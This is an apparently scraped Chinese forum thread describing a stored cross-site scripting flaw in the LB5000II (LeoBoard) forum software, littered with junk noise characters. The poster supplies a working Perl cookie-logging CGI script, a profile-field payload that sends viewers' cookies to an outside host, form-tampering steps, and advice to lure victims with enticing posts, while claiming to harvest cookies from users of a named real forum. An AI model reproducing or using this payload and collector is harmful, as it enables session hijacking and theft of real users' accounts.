雷傲跨站脚本漏洞收集用户cookie漏洞，适合与任何版本，任何系统

幸福的傻瓜

漏洞描述：
$ @! r# H! X: S6 Q5 P0 U+ f  LB5000II是国内流行的CGI程序之一，是在Ikonboard的基础之上改进的，目前最新
& z- H3 j* g' u% h版本是LB5000II v20317b，可以http://www.leoboard.com下载。
  其注册模块未过滤用户资料   最高学历：职业状况：等注册信息
导致恶意用户可以通过伪造<s cript>alert(documents.ｃookie)</s cript>
进行攻击，进一步可以通过某中方式收集。测试通过
4 @* ?$ o( f! f' m" t/ i) ^- e测试程序：
  {0 x' j3 N' ^  参考漏洞描述。
解决方案：
  对用户提交的资料进行过滤
# `/ g+ F6 m2 y" P   

请在s8s8论坛访问
http://www.leothreads.com/cgi-bin/profile.cgi?action=show&member=大刀队
+ ]: o! L1 s; Z3 P2 }4 X: |那么你在s8s8.net 的cookie将被我所获取.
4 W3 _2 `( @. y7 {  r#!/usr/bin/perl
' e+ [0 |1 J: Y1 n#leo.cgi
  b; C% R% x1 ^( E7 \; O8 W% d$url="http://www.s8s8.net";;
$method=$ENV{"REQUEST_METHOD"};
if(lc($method) eq "get"){$buffer=$ENV{"QUERY_STRING"};}
else{read(STDIN,$buffer,length($ENV{"CONTENT_LENGTH"}));}
, C; {, a6 ]8 y. f* {0 M$remote_addr=$ENV{"REMOTE_ADDR"};
* |, A! P% Q' `4 W8 p& q) B6 _$buffer=~tr/+/ /;
3 S$ I! v6 Q  I9 {& x0 e$buffer=~s/%([\dA-Fa-f0-9][\dA-Fa-f0-9])/pack("C",hex($1))/eg;
$buffer=$buffer."|$remote_addr\n";
open(FILE,">>leo.txt");
print FILE $buffer;
close(FILE);                       
print "Location:$url\n\n";
1 T/ h4 }4 n" P3 m- {& G上面是我的cookie收集脚本
2 i4 K) U8 A  s" w" d  j------------------------------------------------------------------------------
范例：以s8s8为例，感谢好友狩猎者 shocknet 帮助测试
用大刀队登陆s8s8论坛，编辑个人资料，
用记事本打开编辑网页
9 v2 K, v  F! R8 t<option value="中专">中专</option>  这一项改成
<option value="<s cript>window.open('http://enter.3322.net/cgi-bin/info/leo.cgi?&#39;+documents.ｃookie)</s cript>">中专</option>   

  z# f" ^$ w; q  \. V8 P' t编辑<FORM action="profile.cgi" method=post name="creator" enctype="multipart/FORM-data">
改为
4 Y- ?5 P' i, x; q( i7 L6 G* F1 P<FORM action="http://www.leothreads.com/cgi-bin/profile.cgi"; method=post name="creator" enctype="multipart/FORM-data">
保存编辑的网页，用自己的页登陆，选“中专”一项，提交数据，
; j% H0 ^3 x( |3 }' a& G这样以后只要查看大刀队的资料的用户，那么查看者的cookie资料将被截获。
为了伪装的更好，可以在论坛发具有诱惑力的帖子连接，吸引人家去点击，
7 s$ j9 J: _* S什么算诱惑力呢，自己发挥吧。

lostway

我连怎么设置超连接都不懂~~~汗~！能教教我吗？
（我指在贴上设置）
. b' k8 Y+ j: T

YES东

我们的论坛虽然是使用这个程序！但没这个问题！
) F2 _. E" [& x; H

幸福的傻瓜

那当染好了啊